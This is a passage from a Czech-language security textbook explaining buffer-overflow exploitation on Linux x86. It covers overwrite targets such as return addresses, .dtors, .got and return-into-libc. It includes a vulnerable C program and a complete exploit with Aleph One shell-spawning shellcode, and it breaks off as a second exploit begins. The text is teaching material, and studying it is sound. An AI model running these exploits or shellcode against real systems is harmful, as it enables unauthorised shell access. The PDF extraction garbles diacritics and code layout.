7.2 Cı´love´ oblasti za´pisu mimo meze Podle toho, ve ktere´ pameˇt’ove´ oblasti dosˇlo k za´pisu mimo meze pole, vymezuje anglicka´ literatura termı´ny stack, heap, bbs a data overflow. Cˇ eske´ ekvivalenty jsou prˇetecˇenı´ na za´sobnı´ku, haldeˇ, bbs nebo data sekci. Prakticky vzato, oblast, kde k prˇetecˇenı´ dosˇlo, urcˇuje mozˇnosti u´toku. Ve virtua´lnı´m adresnı´m prostoru procesu existuje neˇkolik adres, jejichzˇ prˇepsa´nı´ mu˚zˇe ve´st ke spusˇteˇnı´ externeˇ vlozˇene´ho ko´du. Kromeˇ spousˇteˇnı´ externı´ho ko´du samozrˇejmeˇ mu˚zˇe docha´zet ke vsˇeobecne´mu posˇkozova´nı´ dat, jak bylo uka´za´no na prˇ´ıkladu z obra´zku 7.2. Metody vyuzˇitı´ za´pisu mimo meze mu˚zˇeme rozdeˇlit na prˇ´ıme´ a neprˇ´ıme´ (obra´zek 7.4). Necht’A je alokovana´ oblast, u ktere´ mu˚zˇe dojı´t k za´pisu mimo meze, B je ukazatel na alokovanou oblast, X je cı´lova´ adresa za´pisu. Prˇimy´ za´pis je snadny´ a videˇli jsme ho naprˇ. v programu buffer1.c. Nevy´hodou je mozˇnost umı´steˇnı´ cı´lovy´ch adres pouze na vysˇsˇ´ıch adresa´ch vzhledem k A. Take´ musı´ by´t splneˇna podmı´nka, zˇe prˇepsana´ data mezi A a X nepovedou k pa´du procesu. U neprˇ´ıme´ho za´pisu dojde k prˇepsa´nı´ hodnoty ukazatele B. Pokud se v programu vyskytuje na´sledne´ kopı´rova´nı´ dat na adresu ukazatele B, potom dojde k za´pisu na cı´lovou adresu X. Vy´hodou neprˇ´ıme´ho za´pisu mimo meze je zı´ska´nı´ prˇ´ıstupu na libovolnou adresu. Nevy´hodou je veˇtsˇ´ı slozˇitost nezˇ u prˇ´ıme´ho za´pisu. Je zrˇejme´, zˇe prˇ´ımy´ za´pis dosahuje pouze zlomku mozˇnostı´ neprˇ´ıme´ho za´pisu.
X
B
A
A
(
*
X
(
Obra´zek 7.4: Prˇ´ımy´ a neprˇ´ımy´ za´pis mimo meze
68
Uved’me si prˇehled pameˇt’ovy´ch oblastı´, ktere´ souvisı´ se za´pisem mimo meze. Virtua´lnı´ adresnı´ prostor procesu mu˚zˇeme symbolicky rozdeˇlit na dveˇ cˇa´sti. Do jedne´ cˇa´sti zarˇadı´me oblasti, ktere´ dynamicky souvisejı´ s beˇhem programu. Jedna´ se o za´sobnı´k a haldu. Zavadeˇcˇ programu inicializuje vrchol za´sobnı´ku na adresu 0xbfffffff. Prˇideˇlova´nı´ pameˇt’ovy´ch stra´nek za´sobnı´ku dynamicky obstara´va´ ja´dro. Oblast haldy vznika´ prˇi prvnı´m pouzˇitı´ funkce malloc() (cˇi obdobny´ch) zveˇtsˇenı´m datove´ho segmentu programu.
za´sobnı´k – Na za´sobnı´ku se vyskytujı´ na´vratove´ adresy funkcı´, adresy loka´lnı´ch ra´mcu˚ funkcı´, loka´lnı´ promeˇnne´ funkcı´, promeˇnne´ prostrˇedı´ a parametry funkcı´. Mozˇne´ mı´sto vzniku za´pisu mimo meze. halda – Na haldeˇ se nacha´zejı´ dynamicky alokovane´ oblasti pro data. Mozˇne´ mı´sto vzniku za´pisu mimo meze.
Druhou cˇa´stı´ jsou oblasti, ktere´ vznikajı´ prˇi za´va´deˇnı´ programu do pameˇti podle prˇedpisu ze spustitelne´ho forma´tu. Spustitelny´ forma´t obsahuje sekce, ktere´ obsahujı´ ko´d programu, staticka´ data, relokacˇnı´ tabulku, informace pro linker a dalsˇ´ı. Vy´pis vsˇech sekcı´ programu je mozˇne´ zı´skat naprˇ. prˇ´ıkazem readelf -e program. Podı´vejme na vy´pis programu buffer1.c. Vy´pis je kvu˚li prˇehlednosti zkra´cen a upraven.
69
Na´zev sekce .interp .note.ABI-tag .hash .dynsym .dynstr .gnu.version .gnu.version r .rel.dyn .rel.plt .init .plt .text .fini .rodata .data .eh frame .dynamic .ctors .dtors .got .bss .comment .note .shstrtab .symtab .strtab
Adresa zavedenı´ 080480f4 08048108 08048128 08048158 080481c8 08048242 08048250 08048270 08048278 08048298 080482c0 08048310 0804849c 080484b8 080494c8 080494d8 080494dc 080495a4 080495ac 080495b4 080495d4 00000000 00000000 00000000 00000000 00000000
Offset v souboru 0000f4 000108 000128 000158 0001c8 000242 000250 000270 000278 000298 0002c0 000310 00049c 0004b8 0004c8 0004d8 0004dc 0005a4 0005ac 0005b4 0005d4 0005d4 0006f4 00076c 000c74 001104
Velikost sekce 000013 000020 000030 000070 00007a 00000e 000020 000008 000020 000025 000050 00018c 00001c 00000f 000010 000004 0000c8 000008 000008 000020 000018 000120 000078 0000cf 000490 000215
Popis ELF forma´tu a jednotlivy´ch sekcı´ je uveden v prˇ´ıloze A. Prˇi za´pisu mimo meze jsou du˚lezˇite´ tyto sekce (jsou uvedeny v zestupne´m porˇadı´ jejich ulozˇenı´ v pameˇti):
.data – V te´to sekci se nacha´zejı´ staticka´ data. Mozˇne´ mı´sto vzniku za´pisu mimo meze. .dynamic – Obsahuje informace potrˇebne´ pro dynamicke´ linkova´nı´. Jejı´ prˇ´ıtomnost znemozˇnˇuje prˇ´ımy´ za´pis mimo meze ze sekce .data do oblastı´ na vysˇsˇ´ıch adresa´ch. .dtors – Sekce obsahuje ukazatele na funkce, ktere´ se majı´ vykonat po ukoncˇenı´ funkce main(). .got – Sekce obsahuje ukazatele na adresy funkcı´ pouzˇity´ch z dynamicky linkovany´ch knihoven (v prˇ´ıpadeˇ staticke´ho linkova´nı´ obsahuje ukazatele na adresy vsˇech funkcı´ v programu pouzˇity´ch). .bss – Sekce obsahuje neiniciovana´ globa´lnı´ data. Mozˇne´ mı´sto vzniku za´pisu mimo meze.
70
7.3 Prˇehled mozˇny´ch du˚sledku˚ za´pisu mimo meze 7.3.1 Posˇkozova´nı´ dat K vsˇeobecne´mu posˇkozova´nı´ dat mu˚zˇe docha´zet v cele´m virtua´lnı´m pameˇt’ove´m prostoru procesu. Naprˇ. u financˇnı´ho softwaru je prˇepsa´nı´ cˇa´stek ulozˇeny´ch v pameˇti kriticky´m mı´stem.
7.3.2 Spousˇteˇnı´ externı´ho ko´du Uzˇivatel (u´tocˇnı´k) vyuzˇije za´pisu mimo meze takovy´m zpu˚sobem, zˇe dojde k prˇeda´nı´ ˇr´ızenı´ na pameˇt’ove´ mı´sto, kde prˇedtı´m umı´stil svu˚j ko´d. Nejcˇasteˇji docha´zı´ ke spusˇteˇnı´ shellko´du, jenzˇ byl popsa´n v prˇedchozı´ kapitole. Pro vlozˇenı´ shellko´du do pameˇti existujı´ celkem 3 beˇzˇne´ mozˇnosti – promeˇnne´ prostrˇedı´, argumenty prˇedane´ programu, alokovana´ mı´sta pameˇti pro ulozˇenı´ vstupu od uzˇivatele. V urcˇity´ch situacı´ch je mozˇne´ prove´st vlozˇenı´ i jiny´mi zpu˚soby. Prˇ´ıkladem mu˚zˇe by´t alfanumericky´ shellko´d ulozˇeny´ v na´zvu souboru. Podmı´nkou pro spusˇteˇnı´ externeˇ vlozˇene´ho ko´du je spustitelnost pameˇt’ove´ oblasti jeho umı´steˇnı´. Standardnı´ linuxove´ ja´dro na x86 povoluje spousˇteˇnı´ ko´du v cele´m virtua´lnı´m adresnı´m prostoru procesu. Ke spusˇteˇnı´ externı´ho ko´du mu˚zˇe dojı´t neˇkolika zpu˚soby. Prˇepsa´nı´ na´vratove´ adresy funkce – Na´vratove´ adresy funkcı´ se nacha´zajı´ na za´sobnı´ku. Prˇ´ımy´m za´pisem mimo meze u oblastı´ alokovany´ch na za´sobnı´ku dosa´hneme snadne´ho prˇepsa´nı´ na´vratovy´ch adres funkcı´. Neprˇ´ımy´ za´pis mimo meze lze take´ pouzˇ´ıt, ale je potrˇeba urcˇit adresu, kde se na´vratova´ funkce na za´sobnı´ku nacha´zı´. Specifickou mozˇnostı´ prˇepsa´nı´ na´vratove´ adresy je prˇepsa´nı´ ulozˇene´ hodnoty registru EBP prˇi prologu funkce. Tento prˇ´ıpad se anglicky oznacˇuje termı´nem frame pointer overwrite. Ukoncˇenı´ funkce vypada´ takto: movl %ebp, %esp popl %ebp ret Do registru EBP jsme schopni nastavit libovolnou adresu pomocı´ za´pisu mimo meze. Funkce, ve ktere´ jsme provedli za´pis mimo meze, se ukoncˇ´ı. Pokracˇuje beˇh nadrˇazene´ funkce. Prˇi ukoncˇenı´ nadrˇazene´ funkce dojde k prˇesunu obsahu registru EBP do registru ESP. Provede se instrukce popl %ebp. Hodnota registru ESP se tedy jesˇteˇ zvy´sˇ´ı o 4B. Nynı´ instrukce ret ocˇeka´va´ na vrcholu za´sobnı´ku na´vratovou adresu funkce. Celkoveˇ jsme tedy dosa´hli stavu, kdy vrchol za´sobnı´ku odpovı´da´ mı´stu, kde ma´me ulozˇenou adresu shellko´du. Adresu shellko´du mu˚zˇeme vlozˇit do pameˇti jako soucˇa´st shellko´du. Prˇepsa´nı´ ukazatele na funkci – Na za´sobnı´ku, sekci .bss nebo .data se mohou vyskytovat ukazatele na funkce. Prˇepsa´nı´m ukazatele na adresu shellko´du dosa´hneme jeho spusˇteˇnı´ prˇi vola´nı´ prˇ´ıslusˇne´ funkce.
71
Prˇepsa´nı´m sekce .dtors – Kompila´tor gcc spolecˇneˇ se spustitelny´m bina´rnı´m forma´tem ELF podporujı´ tvorbu funkcı´, ktere´ se spousˇtı´ prˇed nebo po vykona´nı´ funkce main(). Takove´ funkce se hodı´ k implicitnı´ inicializaci a destrukci dat. Potrˇebna´ deklarace je uvedena na obra´zku 7.5. /* construct-destruct.c */ #include stdio.h
void void void void
fce fce fce fce
a() b() c() d()
attribute attribute attribute attribute
((constructor)); // umı´steˇnı´ v .ctors ((constructor)); ((destructor)); // umı´steˇnı´ v .dtors ((destructor));
void fce a() printf(”Funkce a\n”); void fce b() printf(”Funkce b\n”); void fce c() printf(”Funkce c\n”); void fce d() printf(”Funkce d\n” ”V .ctors se nejdr ˇ´ ıve spoustı ´ funkce definovana ´ poslednı ´\n” ”V .dtors se nejdr ˇ´ ıve spoustı ´ funkce definovana ´ prvnı ´\n”);
10
int main() printf(”Funkce main\n”); return 0;
20
Obra´zek 7.5: Deklarace funkcı´ v konstruktoru a destruktoru programu Ulozˇenı´ ukazatelu˚ na funkce v sekci .dtors $ objdump -s -j .dtors ./construct-destruct construct-destruct: file format elf32-i386 Contents of section .dtors: 8049690: ffffffff 20840408 38840408 00000000 Sekce .dtors je umı´steˇna na adresa 0x8049690. Obsahuje dva ukazatele na funkce – 0x08048420 a 0x08048438. Program objdump bohuzˇel pouzˇ´ıva´ nevhodny´ forma´t vy´pisu. Vypisuje jednotlive´ byty tak, jak jsou umı´steˇny za sebou v souboru a zcela nesmyslneˇ je slucˇuje po cˇtyrˇech bytech. Pocˇa´tek sekce je vyznacˇen hodnotou 0xffffffff, konec sekce je vyznacˇen hodnotou 0x00000000. V prˇ´ıpadeˇ, zˇe program neobsahuje zˇa´dne´ destruktory, je v sekci .dtors pouze pocˇa´tecˇnı´ a koncova´ znacˇka. Pokud bychom za pocˇa´tecˇnı´ znacˇku 0xffffffff umı´stili adresu shellko´du, dosa´hneme jeho spusˇteˇnı´ po ukoncˇenı´ funkce main(). Prˇepis sekce .ctors je take´ mozˇny´, ale zbytecˇny´. Po spusˇteˇnı´ programu jizˇ do sekce .ctors nebude nikdy prˇeda´no ˇr´ızenı´. Veˇtsˇina programu˚ napsany´ch v jazyce C nevlastnı´ zˇa´dne´ destruktory (u jazyka C++ sekce .ctors resp. .dtors obsahujı´ ukazatel na funkci zajisˇt’ujı´cı´ vola´nı´ konstruktoru˚ resp. destruktoru˚ globa´lnı´ch staticky´ch objektu˚). Za´pisem za startovnı´ znacˇku dojde k prˇepsa´nı´ koncove´ znacˇky. Kdyby se spusˇteˇnı´ shellko´du nepovedlo, syste´m bude na´sledujı´cı´ byty v sekci .dtors povazˇovat take´ za ukazatele na funkce, dokud nenarazı´ na 72
koncovou znacˇku 0x00000000. Tato cˇinnost pravdeˇpodobneˇ rychle povede k ukoncˇenı´ procesu signa´lem SIGSEGV. Prˇepsa´nı´m sekce .got – V sekci .got (global offset table) jsou uvedeny ukazatele na adresy vsˇech funkcı´ ze sdı´leny´ch knihoven, ktere´ program pouzˇ´ıva´. Obsah sekce .got pro prˇ´ıklad z obra´zku 7.10 na straneˇ 77 zı´ska´me v prˇehledne´ podobeˇ prˇ´ıkazem objdump -R buffer3. DYNAMIC RELOCATION RECORDS OFFSET 08049688 0804966c 08049670 08049674 08049678 0804967c 08049680 08049684
TYPE R 386 GLOB DAT R 386 JUMP SLOT R 386 JUMP SLOT R 386 JUMP SLOT R 386 JUMP SLOT R 386 JUMP SLOT R 386 JUMP SLOT R 386 JUMP SLOT
VALUE gmon start register frame info malloc deregister frame info strlen libc start main exit strcpy
Zapı´sˇeme-li na adresu 0x8049680 adresu shellko´du, dojde k jeho spusˇteˇnı´ mı´sto funkce exit(). Zajı´mavy´m cı´lem je i funkce deregister frame info(). K jejı´mu vola´nı´ dojde, prˇi postupne´m odstranˇova´nı´ procesu z pameˇti. Je tedy spousˇteˇna vzˇdy. Prˇepsa´nı´ struktur s ulozˇeny´m kontextem procesu – Prˇi dorucˇenı´ signa´lu procesu je na za´sobnı´k procesu ulozˇena struktura obsahujı´cı´ potrˇebne´ informace pro pozdeˇjsˇ´ı obnovenı´ procesu. Prˇepsa´nı´m polozˇky, ze ktere´ se obnovuje registr EIP, mu˚zˇeme dosa´hnout spusˇteˇnı´ externı´ho ko´du. Obdobna´ situace nastane prˇi prˇepsa´nı´ struktury jmp buf. Uka´za´no na programu podle obra´zku 7.14 ze strany 82.
7.3.3 Spousˇteˇnı´ funkcı´ definovany´ch v ra´mci programu Vsˇechny techniky vedoucı´ ke spusˇteˇnı´ externı´ho ko´du mu˚zˇeme pouzˇ´ıt ke spusˇteˇnı´ funkcı´, ktere´ jsou v programu definovane´. Tato metoda se pouzˇ´ıva´ v prˇ´ıpadeˇ, zˇe v programu existujı´ zapomenute´ funkce z dob ladeˇnı´, ktere´ dovedou prˇeskocˇit autentifikacˇnı´ cˇa´st cˇi podobneˇ.
7.3.4 Spousˇteˇnı´ funkcı´ z dynamicky linkovany´ch knihoven Prˇedchozı´ odstavec 7.3.3 se omezoval pouze na spousˇteˇnı´ funkcı´ definovany´ch v ra´mci programu. Je vsˇak mozˇne´ vyuzˇ´ıt i funkcı´ z dynamicky linkovany´ch knihoven. Seznam vsˇech dynamicky´ch knihoven, ktere´ program pouzˇ´ıva´, zı´ska´me prˇ´ıkazem ldd program. Ve vy´pise jsou uvedeny i adresy, od ktery´ch jsou knihovny pro dany´ program zavedeny do pameˇti. Soucˇtem adresy zavedenı´ knihovny a offsetu funkce v ra´mci knihovny vypocˇteme adresu funkce v pameˇti. Offset zı´ska´me snadno z tabulky symbolu˚ knihovny ve forma´tu ELF 4 . Nejcˇasteˇji jsou takto 4
Vı´ce v prˇ´ıloze A na straneˇ i
73
vola´ny funkce system(), execve(), write() z knihovny libc (standardnı´ knihovna jazyka C). Zajı´mave´ ˇreteˇzce jako ”/bin/sh” cˇi ”/etc/ld.so.preload” nalezneme v libc take´. V prˇ´ıpadeˇ pouzˇitı´ te´to metody ztra´cı´ vesˇkere´ modifikace ja´dra s nespustitelny´m za´sobnı´kem ´ tocˇnı´k jizˇ nema´ potrˇebu vkla´dat a spousˇteˇt shellko´d. Potrˇebne´ rutiny a ˇreteˇzce a haldou smysl. U vyuzˇije ze sdı´leny´ch knihoven. Specificka´ situace, kdy na´vratova´ adresa funkce je prˇepsa´na na adresu neˇktere´ z dynamicky linkovany´ch funkcı´, se oznacˇuje anglicky termı´nem return-into-lib. oblast zásobníku pozice návratové adresy funkce
dynamicky zavedená knihovna libc
0x4003f2aa 0x4001e800
"/bin/sh"
0x4003f2aa
funkce system()
0x4001e800 0x4001e000
Obra´zek 7.6: Prˇepsa´nı´ na´vratove´ adresy funkce na adresu ko´du z dynamicky linkovane´ knihovny Mozˇnostı´ vyuzˇitı´ za´pisu mimo meze je velmi mnoho. Za sta´vajı´cı´ situace neexistuje jina´ spolehliva´ obrana nezˇ psanı´ programu˚, ktere´ neumozˇnı´ za´pis mimo meze. Existujı´cı´ ˇresˇenı´ v podobeˇ modifikovane´ho ja´dra a kompila´toru gcc, ktera´ jsou popsa´na v kapitole 9, dosahujı´ pouze cˇa´stecˇny´ch u´speˇchu˚.
7.4 Vzorove´ prˇ´ıklady 7.4.1 Prˇepsa´nı´ na´vratove´ adresy funkce ´ tok vedeny´ na na´vratove´ adresy funkcı´ na za´sobnı´ku je jeden z nejstarsˇ´ıch a sta´le nejcˇasteˇji pouzˇ´ıU vany´ch. By´va´ du˚sledkem sˇpatne´ kontroly neˇktere´ho vstupu od uzˇivatele. Ukazˇme si vsˇe na nejjednodusˇsˇ´ım a sebevysveˇtlujı´cı´m prˇ´ıkladeˇ, viz obra´zek 7.7.
74
/* buffer2.c */ #include string.h
int main(int argc, char **argv) char buffer[1000]; if (argc 1) strcpy(buffer,argv[1]); else return 1;
return 0;
10
Obra´zek 7.7: Ko´d umozˇnˇujı´cı´ prˇ´ımy´ za´pis mimo meze na za´sobnı´ku V tomto prˇ´ıpadeˇ programa´tor mylneˇ ocˇeka´va´, zˇe buffer o velikosti 1000B bude stacˇit i pro ten nejdelsˇ´ı parametr prˇedany´ programu. Spra´vne´ ˇresˇenı´ spocˇ´ıva´ v nahrazenı´ funkce strcpy() funkcı´ strncpy(), ktera´ umozˇnˇuje omezit pocˇet kopı´rovany´ch bytu˚. V nasˇem konkre´tnı´m prˇ´ıpadeˇ by bylo vhodne´ omezit de´lku kopı´rovane´ho ˇreteˇzce na 999B. Poslednı´ byte by meˇl programa´tor pro jistotu nastavit na nulu. K prˇepsa´nı´ na´vratove´ adresy funkce main() na´m stacˇ´ı zaplnit cely´ buffer a prˇidat 8B. Prvnı´mi cˇtyrˇmi byty nevy´znamneˇ prˇepı´sˇeme ulozˇenou hodnotu registru EBP. Druhy´mi cˇtyrˇmi byty prˇepı´sˇeme na´vratovou adresu. Zby´va´ vyrˇesˇit, kam vlozˇit shellko´d, ktery´ budeme chtı´t spustit. Jednou z mozˇnostı´ je prˇ´ımo sa´m buffer. My ovsˇem nevı´me, na ktere´ adrese se v pameˇti nacha´zı´, a prˇitom tuto adresu musı´me zna´t. Lze pouzˇ´ıt metodu hrube´ sı´ly, jak mu˚zˇeme nejcˇasteˇji videˇt v praxi. Ma´lo zna´my´ je fakt, zˇe na za´sobnı´ku existuje neˇkolik pevny´ch adres platny´ch pro vsˇechny procesy. Vı´ce na obra´zku 7.8. 0xbfffffff 0xbffffffa
0 jméno programu !"#%$&
!*+ /
argumenty programu
Obra´zek 7.8: Pevne´ adresy na za´sobnı´ku Vlozˇ´ıme-li na´sˇ shellko´d jako poslednı´ promeˇnnou prostrˇedı´, doka´zˇeme snadno vypocˇ´ıtat adresu pocˇa´tku shellko´du pomocı´ vztahu adresa = 0xbffffffa - strlen(na´zev programu) - strlen(shellko´d). Program, ktery´ vyuzˇije chyby a provede spusˇteˇnı´ shellu, je uveden na obra´zku 7.9. Kazˇdy´ ˇra´dek je dostatecˇneˇ komentova´n. Pouzˇity´ shellko´d je z kapitoly 6, strana 45. Programy, ktere´ jsou psane´ v tomto duchu, se oznacˇujı´ anglicky´m termı´nem exploit.
75
/* exploit-buffer2.c */ #include #include
unistd.h string.h
// genericky´ shellko´d typu Aleph One char shellkod[ ] = ”\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x89\x46\x0c\x88\x46” ”\x07\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x31” ”\xc0\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh”;
10
int main() // velikost bufferu + 8B na za´pis mimo pole + 1B na ukoncˇenı´ ˇreteˇzce char pole[1000+8+1]; // jme´no spousˇteˇne´ho programu, jeden argument, zakoncˇujı´cı´ NULL char *argv[3] = ”./buffer2”, pole, NULL ; // prˇida´nı´ promeˇnne´ prostrˇedı´, zarˇadı´ se jako poslednı´ na nejvysˇsˇ´ı adresu char *env[2] = shellkod, NULL ; // vy´pocˇet adresy, kde bude ulozˇen shellko´d int adresa = 0xbffffffa strlen(argv[0]) strlen(shellkod);
20
// cele´ pole nastavı´me na nenulovou hodnotu memset(pole,0x90,1000+8+1); // 4B ktere´ prˇepı´sˇ´ı na´vratovou adresu *(int *)&pole[1004] = adresa; // ukoncˇenı´ ˇretezce, aby strpcy() v buffer2.c ukoncˇila kopı´rova´nı´ pole[1008] = 0; // spusˇteˇnı´ ./buffer2 s jednı´m argumentem a prˇidanou promeˇnnou prostrˇedı´ execve(argv[0],argv,env);
30
Obra´zek 7.9: Vyuzˇitı´ chyby v programu buffer2.c
76
Kompilace a spusˇteˇnı´ $ gcc buffer2.c -o buffer2 $ gcc exploit-buffer2.c -o exploit-buffer2 $ ./exploit-buffer2 sh-2.05b$
7.4.2 Prˇepsa´nı´ ukazatele na funkci Prˇepsa´nı´ ukazatele na funkci v jednoduchy´ch prˇ´ıpadech povede k u´plneˇ stejne´mu postupu jako v prˇedcha´zejı´cı´m prˇ´ıpadeˇ. Podı´va´me se na prˇepsa´nı´ ukazatele na funkci, ktery´ bude umı´steˇn v sekci .data. Za´sadnı´ podı´l na jeho prˇepsa´nı´ budou mı´t dveˇ alokovana´ pole. Zdrojovy´ ko´d je uveden na obra´zku 7.10. Uvedeny´ prˇ´ıpad je extre´mneˇ sˇpatneˇ naprogramovany´. Chyby jsou ocˇividne´ zejme´na proto, zˇe prˇ´ıklad je kra´tky´. Dostatecˇneˇ vsˇak vystihuje problematiku. /* buffer3.c */ #include string.h #include stdlib.h
int zpracuj(char *koho) int (*funkce)(char *) = zpracuj; int main(int argc, char **argv) char *jmeno = (char *)malloc(strlen(argv[2])); char rodne cislo[10]; strcpy(rodne cislo,argv[1]); strcpy(jmeno,argv[2]); funkce(jmeno); exit(0);
Obra´zek 7.10: Ko´d umozˇnˇujı´cı´ neprˇ´ımy´ za´pis mimo meze Na prvnı´ pohled by se mohlo zda´t, zˇe stacˇ´ı prove´st za´pis mimo meze u pole rodne cislo. Dosa´hli bychom tı´m prˇepsa´nı´ na´vratove´ adresy funkce main() jako v prˇedchozı´m prˇ´ıpadeˇ. Bohuzˇel tato na´vratova´ adresa nebude nikdy vyzvednuta, protozˇe program koncˇ´ı funkcı´ exit(). Tato funkce spustı´ vola´nı´ exit(), ktere´ bezprostrˇedneˇ proces ukoncˇ´ı. Doka´zˇeme vsˇak jinou veˇc. Za´pisem mimo meze u pole rodne cislo dosa´hneme prˇepisu hodnoty ukazatele jmeno. Bude-li ukazatel jmeno obsahovat adresu, na ktere´ se nacha´zı´ ukazatel na funkci funkce, ma´me zcˇa´sti vyhra´to. Na adresu jmeno pak stacˇ´ı zapsat adresu shellko´du. Situace je na obra´zku 7.11. Jedinou komplikacı´ je zı´ska´nı´ adresy, na ktere´ se v datove´ sekci nacha´zı´ ukazatel na funkci funkce. Jednou z mozˇnostı´ je prove´st editaci programu buffer2.c, zkompilovat a nechat si vytisknout
77
10
shellkód zásobník jmeno
jmeno rodne_cislo
rodne_cislo halda
funkce
funkce .data
zpracuj
zpracuj .text
main
main 1- / * -
Požadovaný stav
Obra´zek 7.11: Situace ve virtua´lnı´m pameˇtove´m prostoru programu buffer3.c pozˇadovanou adresu. Tato varianta je snadna´, ale bohuzˇel nevede k prˇesne´mu urcˇenı´ adresy tak, jak bychom potrˇebovali. Dopsany´ rˇa´dek pro zjisˇteˇnı´ adresy printf(”Adresa funkce: %p n”,&funkce); Kompilace a spusˇteˇnı´ $ gcc buffer3-edited.c -o buffer3-edited $ ./buffer3-edited arg1 argv2 Adresa funkce: 0x80495f4 $ Ted’ si ovsˇem musı´me polozˇit ota´zku, zda zı´skana´ adresa ukazatele je shodna´ i v origina´lnı´m programu. Bohuzˇel nenı´. Podı´vejme se na program buffer3-edited na´strojem gdb. Necha´me si vypsat vsˇechny sekce programu5 spolu s rozsahy adres.
$ gdb buffer3-edited (gdb) maintenance info sections Exec file: ‘/tmp/buffer3-edited’, file type elf32-i386. 0x080480f4->0x08048107 at 0x000000f4: .interp ALLOC LOAD READONLY DATA HAS_CONTENTS 0x08048108->0x08048128 at 0x00000108: .note.ABI-tag ALLOC LOAD READONLY DATA HAS_CONTENTS 0x08048128->0x08048168 at 0x00000128: .hash ALLOC LOAD READONLY DATA HAS_CONTENTS 0x08048168->0x08048218 at 0x00000168: .dynsym ALLOC LOAD READONLY DATA HAS_CONTENTS 0x08048218->0x080482ac at 0x00000218: .dynstr ALLOC LOAD READONLY DATA HAS_CONTENTS 0x080482ac->0x080482c2 at 0x000002ac: .gnu.version ALLOC LOAD READONLY DATA HAS_CONTENTS 0x080482c4->0x080482e4 at 0x000002c4: .gnu.version_r ALLOC LOAD READONLY DATA HAS_CONTENTS 0x080482e4->0x080482ec at 0x000002e4: .rel.dyn ALLOC LOAD READONLY DATA HAS_CONTENTS 0x080482ec->0x0804832c at 0x000002ec: .rel.plt ALLOC LOAD READONLY DATA HAS_CONTENTS 5
O sekcı´ch programu pojedna´va´ prˇ´ıloha A
78
0x0804832c->0x08048351 0x08048354->0x080483e4 0x080483f0->0x080485ac 0x080485ac->0x080485c8 0x080485c8->0x080485e3 0x080495e4->0x080495f8 0x080495f8->0x080495fc 0x080495fc->0x080496c4 0x080496c4->0x080496cc 0x080496cc->0x080496d4 0x080496d4->0x08049704 0x08049704->0x0804971c 0x00000000->0x00000120 0x00000000->0x00000078 (gdb)
at at at at at at at at at at at at at at
0x0000032c: 0x00000354: 0x000003f0: 0x000005ac: 0x000005c8: 0x000005e4: 0x000005f8: 0x000005fc: 0x000006c4: 0x000006cc: 0x000006d4: 0x00000704: 0x00000704: 0x00000824:
.init ALLOC LOAD READONLY CODE HAS_CONTENTS .plt ALLOC LOAD READONLY CODE HAS_CONTENTS .text ALLOC LOAD READONLY CODE HAS_CONTENTS .fini ALLOC LOAD READONLY CODE HAS_CONTENTS .rodata ALLOC LOAD READONLY DATA HAS_CONTENTS .data ALLOC LOAD DATA HAS_CONTENTS .eh_frame ALLOC LOAD DATA HAS_CONTENTS .dynamic ALLOC LOAD DATA HAS_CONTENTS .ctors ALLOC LOAD DATA HAS_CONTENTS .dtors ALLOC LOAD DATA HAS_CONTENTS .got ALLOC LOAD DATA HAS_CONTENTS .bss ALLOC .comment READONLY HAS_CONTENTS .note READONLY HAS_CONTENTS
Vidı´me, zˇe na´sˇ iniciovany´ ukazatel na funkci (na adrese 0x80495f4) se nacha´zı´ v sekci .data. Tı´m, zˇe jsme dopsali ˇra´dku s tiskem adresy, dosˇlo k neˇkolika zmeˇna´m vzhledem k pu˚vodnı´mu programu. Sekce .text se zcela jisteˇ prodlouzˇila o ko´d odpovı´dajı´cı´ vola´nı´ funkce printf(). Sekce .plt (procedure linkage table) se rozsˇ´ıˇrila o referenci na funkci printf(). Sekce .rodata (readonly data) se rozsˇ´ıˇrila o konstatnı´ ˇreteˇzec, ktery´ pouzˇ´ıva´me jako parametr funkce printf(). Vsˇechny zminˇovane´ sekce se nacha´zejı´ na nizˇsˇ´ıch adresa´ch nezˇ sekce .data. Prˇi porovna´nı´ s origina´lnı´m programem je sekce .data umı´steˇna na vysˇsˇ´ı adrese z du˚vodu zveˇtsˇenı´ prˇedcha´zejı´cı´ch sekcı´. Zı´skali jsme tedy pouze prˇiblizˇnou adresu ukazatele na funkci. Nynı´ ma´me mozˇnost pouzˇ´ıt hrubou sı´lu a vyzkousˇet rozsah adres. Zpu˚sobeny´ posun sekce .data nebude odhadem veˇtsˇ´ı nezˇ 150B. Jinou mozˇnostı´, ktera´ je na´rocˇneˇjsˇ´ı na zkusˇenosti, je pouzˇ´ıt disassembler na origina´lnı´ program. Pouzˇijeme prˇ´ıkaz objdump -d buffer3. Ze zdrojove´ho ko´du mu˚zˇeme usoudit, jak zhruba bude vypadat hledana´ disasemblovana´ cˇa´st. Take´ zna´me prˇiblizˇny´ odhad spra´vne´ adresy. U´ sek s nalezenou adresou je na obra´zku 7.12. Hledana´ adresa ukazatele na funkci je 0x8049580. /* Cˇa´st vy´pisu prˇ´ıkazu objdump -d buffer3 */ 0x080484f9: 0x080484fc: 0x080484fd: 0x08048503:
8b 45 fc 50 8b 1d 80 95 04 08 ff d3
mov push mov call
0xfffffffc(%ebp),%eax %eax 0x8049580,%ebx *%ebx
Obra´zek 7.12: Cˇa´st vy´pisu disassemblace programu buffer3 Prˇi psanı´ programu na vyuzˇitı´ chyby (uveden na obra´zku 7.13) v programu buffer3 musı´me da´t pozor na velikost pole rodne cislo. Ve zdrojove´m textu je uvedena velikost 10B. Kompila´tor gcc pro data alokovana´ na za´sobnı´ku implicitneˇ prova´dı´ zarovna´nı´ na na´sobek cˇ´ısla 4. Mı´sto 10B bude tedy alokova´no 12B.
79
/* exploit-buffer3.c */ #include unistd.h #include string.h
// genericky´ shellko´d typu Aleph One char shellkod[ ] = ”\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x89\x46\x0c\x88\x46” ”\x07\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x31” ”\xc0\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh”; 10
